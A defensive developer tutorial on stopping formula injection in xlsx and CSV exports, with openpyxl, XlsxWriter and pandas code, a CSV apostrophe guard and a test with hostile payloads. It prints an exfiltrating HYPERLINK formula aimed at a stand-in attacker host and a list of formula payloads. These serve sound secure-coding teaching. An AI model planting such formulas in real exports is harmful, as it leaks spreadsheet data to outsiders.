Formula Injection in Excel Exports and How to Stop It
Stop formula injection in xlsx exports: write user text as strings with openpyxl or XlsxWriter, neutralize leading =, +, - and @ characters, and test it.

An export function takes rows from a table and writes them to a workbook. One of those rows has a customer name of =HYPERLINK("https://attacker.example/?x="&B2,"Open"). The finance clerk who opens the file sees a link labeled Open, clicks it and sends the value of cell B2 to a stranger. Nothing was hacked in the usual sense; the application wrote what it was given, and the spreadsheet did what spreadsheets do. This is why Excel security problems developers overlook puts exports at the top of its list, and it is one of the cheapest to fix.
How the attack works
A spreadsheet application treats a cell that starts with = as a formula. Excel also accepts + and - as formula starters, and @ as an old function prefix. A formula can call functions that reach out: HYPERLINK builds a clickable link, WEBSERVICE fetches a URL in Excel for Windows, and legacy dynamic data exchange can start programs. Current Office versions warn before running the most dangerous of these, but a warning dialog is a thin defense when the file comes from the company's own system and people click through it daily.
Where does the text come from? Anywhere a user can type or upload something that later appears in an export: a name, an address, a free text note, a product title, a support ticket subject, a column header in an uploaded CSV that you re-export. The person who opens the file is often more privileged than the person who typed the value, which is what makes the attack worth attempting. The OWASP page on CSV injection lists payloads, and the weakness is CWE-1236.
The set of dangerous starting characters
Guard these leading characters:
| Character | Why it matters |
|---|---|
= | Starts a formula |
+ | Starts a formula in Excel |
- | Starts a formula in Excel |
@ | Starts a function call in some versions |
tab (\t) | Can hide the real first character in some tools |
carriage return (\r) | Same |
A legitimate value can start with -, such as -12.50 or -- note, and that is why you must not blindly strip these characters. For numbers, write a numeric cell instead of text, and leave the formatting to the sheet. For text, neutralize without destroying.
Fix it in xlsx: write strings as strings
An xlsx cell has a data type. A formula cell and a string cell are different in the XML, so the fix is to say "string" when you write user text.
With openpyxl, assigning a string that starts with = makes a formula cell, because the library guesses. Override the type after assignment:
from openpyxl import Workbook
wb = Workbook()
ws = wb.active
ws.append(["name", "note"])
def put_text(ws, row, col, value):
c = ws.cell(row=row, column=col, value=value)
c.data_type = "s"
return c
put_text(ws, 2, 1, '=HYPERLINK("https://attacker.example/?x="&B2,"Open")')
wb.save("customers.xlsx")Setting data_type = "s" stores the cell as a string, and Excel displays the text instead of evaluating it. Some readers of the file may still show the leading character in a way that confuses people, so the clean approach is to apply this to every user text cell through one helper, as above, and to never call ws.append with raw user values.
With XlsxWriter, write() guesses types and turns strings that start with = into formulas. Call write_string() for user text, or turn the guessing off for the whole workbook:
import xlsxwriter
wb = xlsxwriter.Workbook("customers.xlsx", {"strings_to_formulas": False})
ws = wb.add_worksheet()
ws.write(1, 0, '=HYPERLINK("https://attacker.example","Open")')
wb.close()The strings_to_formulas constructor option is documented in the XlsxWriter workbook reference, and setting it to False means write() stores such strings as text. With pandas, pass the option through the writer:
import pandas as pd
with pd.ExcelWriter(
"customers.xlsx", engine="xlsxwriter",
engine_kwargs={"options": {"strings_to_formulas": False}},
) as xw:
df.to_excel(xw, index=False, sheet_name="Customers")If you use openpyxl as the pandas engine, post-process the cells with the helper above, since there is no equivalent switch.
Fix it in CSV: the leading quote
A CSV has no cell types. The recipient's spreadsheet decides what a field means, so the defense is to change the text. The OWASP guidance is to prefix the field with a single quote, and to quote the field in the CSV as usual.
RISKY = ("=", "+", "-", "@", "\t", "\r")
def csv_safe(v):
if isinstance(v, str) and v.startswith(RISKY):
return "'" + v
return vExcel treats a leading apostrophe as "this is text" and hides it in display. Other programs show the apostrophe, and a script that reads the file back will see it. That is the trade: the safe export is no longer the original value, which matters if the CSV feeds another system. Keep the original in the database, document that the export is for human readers, and give machine consumers a different endpoint or format (escaping formula characters in a CSV export goes through this trade-off for CSV).
Do not apply the quote to numeric columns. A negative number such as -12.5 stored in a numeric column must stay numeric. Decide per column: text columns get the guard, numeric columns get a number type.
Apply it everywhere, in one place
The usual failure is a guard on the main export and nothing on the others. A second report, a "download as spreadsheet" button on a grid, an admin tool and a scheduled email each have their own writer. Put the neutralizing function in the one module that writes workbooks and make every export call it.
def cell_value(v):
if isinstance(v, str):
return v
return v
def write_rows(ws, rows):
for r, row in enumerate(rows, start=2):
for c, v in enumerate(row, start=1):
cell = ws.cell(row=r, column=c, value=v)
if isinstance(v, str):
cell.data_type = "s"Strings are always stored as strings; numbers, dates and booleans keep their types. Header cells deserve the same treatment when they come from user data, for instance when you re-export an uploaded sheet with its own headers.
Look for the less obvious inputs as well: the sheet name (Excel limits it and forbids some characters, which blocks most abuse but not all), a hyperlink target you build from a field, and values that are rendered through a template before they reach the writer.
Test it with hostile values
Build a fixture row where every text column holds a payload and run the export in a test.
PAYLOADS = ['=1+1', '+1+1', '-1+1', '@SUM(1,1)', '\t=1+1', '=HYPERLINK("http://x","y")']
def test_export_has_no_formulas(tmp_path):
rows = [[p, p] for p in PAYLOADS]
path = export_rows(tmp_path / "t.xlsx", ["name", "note"], rows)
wb = load_workbook(path)
for row in wb.active.iter_rows(min_row=2):
for cell in row:
assert cell.data_type != "f"A reload of the saved file with load_workbook shows data_type f for any formula cell, and a passing test shows none. Add the CSV case too, asserting every risky payload begins with the quote. The test belongs in the suite that runs on every change (testing a generated Excel report describes more assertions for generated files).
For a human check, open the produced file in Excel with a harmless payload such as =1+1: if the cell shows 2, the guard failed; if it shows the text =1+1, it worked.
What escaping does not solve
Neutralizing leading characters stops direct evaluation. It does not make an export trustworthy in every respect. A value can still contain a misleading hyperlink in the visible text, a very long string, or a character that confuses a downstream parser. Data that moves into another system should be validated at that system's boundary as well.
Be aware, too, that the quote prefix is a convention for spreadsheets, not a general escape. If the same CSV is loaded by a database or a script, the apostrophe becomes part of the data. The CSV security risks article covers the same point from the CSV side.
When escaping is not enough
Escaping is not enough when the recipient is a program that uses the file as input to something sensitive, for instance a payroll import that reads the "amount" column. There the right defense is validation: reject rows whose amount is not a number. It is also not enough when staff open exports from an untrusted source on machines with weak policies; the fix there is desktop configuration that blocks external content and macros. And it is not enough if your export includes formulas on purpose, such as totals. Write those formulas from code you control, in separate cells, and keep user text out of them. When user text must be part of a formula, build the formula with a quoted string argument and escape the double quotes inside, or better, put the text in its own cell and refer to it by address.


